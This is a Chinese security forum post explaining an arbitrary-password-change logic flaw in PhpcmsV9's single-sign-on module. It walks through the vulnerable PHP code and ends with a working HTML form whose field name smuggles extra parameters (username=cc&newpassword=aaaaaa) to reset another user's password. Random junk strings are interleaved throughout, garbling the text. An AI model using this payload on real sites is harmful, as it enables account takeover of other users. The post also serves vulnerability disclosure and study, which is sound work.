找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2178|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:5 c% P8 k" F7 x, d3 q

/ _0 v9 w2 l9 W! H' G
2 R+ v2 J+ Q& X) s5 cparse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
" O2 h# V' L" e* ~  P- }% b" `( s8 i) G, {- t$ J! R
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
" ~3 V; R. p# z: U- t
1 l% A  E& i) Q6 R- h我把它留给了你们。
$ L9 w- n0 z% [: c; U+ T不知道你们发现了它没有。1 r& w# W+ T+ r! j

+ P4 U7 C' Z9 W5 b+ D  `- L0 Z我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
& {$ Y" q& z, |' p% {$ Y$ U
' B) M2 z/ }9 v3 s2 L  ?8 ]8 c9 a所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。' c# l( q8 I8 z, ?* P$ V* J! m
: C: x3 |2 }( b
也就是7 v. O: m' L7 p4 p8 C0 S

. |# [* Y: B+ k) }2 W4 v2 Rusername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。. ?5 @3 W* ~/ B/ s; n5 `* u

( t4 Y) Q$ Q5 {8 B5 e5 `( ]要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
; ]7 o( t$ U' M0 H7 u1 a0 u- A, U1 k% B. {3 y

) ^) h( I0 s+ p其实我们有这样的机会,看看代码,如下:
* r! Q+ v/ E% `7 W9 ]7 |& e- k; y/ p. y  G
3 K1 W% R  I9 D9 f' E- k8 G
public function auth_data($data) {
# c; u" _$ M4 f( E! _% j! }                $s = $sep = '';, V9 J7 o( d9 E  q% q: t% F5 w
                foreach($data as $k => $v) {/ G5 F+ L/ Y: `6 S( b
                        if(is_array($v)) {  _3 I& Q* c. q
                                $s2 = $sep2 = '';5 S# U$ d5 ]& i) U% J+ B7 S
                                foreach($v as $k2 => $v2) {7 u( z7 |/ p; Q4 U8 f
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
! ?$ a9 |# _. V! t# R; A                                        $sep2 = '&';0 N2 ?( }5 o  A* \
                                }* V3 I0 q$ }/ V, Z# ]
                                $s .= $sep.$s2;
2 j" s) s7 c5 @5 b3 L+ Q: i$ }                        } else {
3 W5 R1 }. ?2 _% F/ ^0 W                                $s .= "$sep$k=".$this->_ps_stripslashes($v);8 H# H! ~( n* q5 w8 s4 i
                        }
+ q: M) n$ M( D) M  _! i8 y                        $sep = '&';
  n3 l0 J) |$ p( b                }4 B# `7 |# F) `5 v/ G% Z8 J. N

9 Z" M1 O" a9 S, R. a                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));% l  H: H4 k7 t; P3 _2 b1 [' C
                return $auth_s;
' g) _8 L0 Y* [* \) {' D        }' `. `3 w3 j5 U1 b* S( j
7 e0 _  x, G4 E+ l# y6 C
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。0 ~- p6 R1 L! n" F8 t6 b
  o4 R0 a* i# g. i4 h
举个例子
$ ~6 B) p( @3 n8 W  |
5 c/ N" f8 r' O" l9 J  _  S$a[aaa=a&bbb] = 'a';
, A) Z: H0 F) R. Q2 P  |! ~8 \& H4 Y  d( ?# s4 l0 N" y8 P8 }# }
会变成aaa=a&bbb=a' w5 c0 x" B+ v! s
- q( L% K3 I+ p! h) Q8 O3 _; K
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
5 W1 e% E7 x7 p& h% a, O1 j6 I9 q+ t; {
这个时候,我们可以再去看一个函数。
$ [; o) ]" P& T' E7 l( d+ A: X( ]* [) s3 Q  o6 h5 K  }$ s
就在这个文件内:
6 }9 N9 G$ w- M* d! k5 y% }2 }+ s( q0 \& x
- V+ `5 |- ~$ W6 m" y! @
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {' p' r$ H! G& Z' K
                if($email && !$this->_is_email($email)) {5 G; r( O" }' D7 `
                        return -4;
5 D: d  q8 l- L% U2 h: K                }
+ G/ P! g: |( M$ }                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));7 f+ f* E$ ?( s8 O, c+ f1 ^0 o( G
        }
2 i3 I  w2 r4 y& G
# v1 F  ?+ i3 Z, K7 ~7 z5 f这是向通行证发了这样一个请求。
( `1 w1 {& e3 X' U' B1 S/ `" @6 S. ^; ?0 k
我们再跟到通信证代码里去看看,就会有所发现。
6 z7 U3 ~2 J% }$ n8 t# z! [$ Z$ Q; m0 ]; v7 N! _

. d/ t/ j# {" \/ f$ dpublic function edit() {) \0 O7 R! \1 h
//能省就省,太长了不是吗?; \; M- A' {+ Z/ I* \
8 m1 T" s/ K5 i! x) \: _
if($this->username) {
  J5 N" j: Y* _! @8 a8 q//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。! L6 M$ p- b7 @; e- B0 [
                                $res = $this->db->update($data, array('username'=>$this->username));0 t* `5 D+ t! \- g  h
                        } else {
  v+ k8 M: a4 _                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);
" i- s4 V7 ~; D                                $res = $this->db->update($data, array('uid'=>$this->uid));( ~, p7 g0 i7 x. Z" j# T- S
                        }% y. u* f" U" I* F8 e

( C# B6 o& ^2 u+ I1 V好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:1 K; v* _' B5 R; c, k

2 `0 |$ O+ j: a0 k6 V0 k) Hpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')/ |) G; [7 E& j9 E5 n# y
5 J, t8 W$ N: o; W, z9 I: S5 p5 x
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
% g8 N- Z, ?, x0 N0 ?) H) H6 ?2 e
我当然找到了:
' ^2 V" p, m( N& B! f) @4 n( g+ Xphpcms9/phpcms/modules/member/index.php% w0 A( a+ V9 ]- r
" o$ m$ q- l, K# n
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);+ a& I" R! l1 h& w9 b! H

& D1 y. c0 O6 c5 C7 {+ p& u, D0 L然后就没有然后了。; j( l: B. \. |; T' F2 a" ?

1 t* k8 r' e- Q8 X$ R<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">4 x) E* J  ^# n" n- H) a
                                <table width="100%" cellspacing="0" class="table_form">3 S! m: k' I9 o6 d! l& I& ~
                                        <tr>
! w; I; {  b% y# f4 {+ q                                                <th width="80">邮箱:</th>          m0 _, n& N, `0 N% @# _; [
                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
) R5 \% J2 o4 H" c$ |                                        </tr>; U: E, c( S: }* M
                                        <tr>5 X; H4 Y/ \) q' I( Z2 j" p
                                                <th width="80">原密码:</th>        0 M. q8 R( c9 g# W9 M
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
" u; F! a, v  y; x                                        </tr>/ ~6 U. D* U4 r" j4 O# E
                                        <tr>: h3 g. G. }3 a; v9 `
                                                <th>新密码:</th>
* `# e' i0 v% F7 l: ^$ \' t* C                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>! e$ k. ]4 P' V' [1 }, c
                                        </tr>- _' x) L) E/ v2 x# b0 [
                                        <th></th>" h! Q0 c: K! U6 G' R& _( f3 M
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td># {2 {3 R" T' A( b* I- q( |
                                        </tr>
7 [1 b9 f5 {4 M, o( y8 T3 p                                </table>
6 E0 d7 Z1 J' t% D. ^2 ~# j3 F  ]! V4 T3 O/ V/ _- Z; N- J
                               
7 M5 {1 x( I( S$ c+ }                        </form>
/ y1 h/ o" }* J' _$ }
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表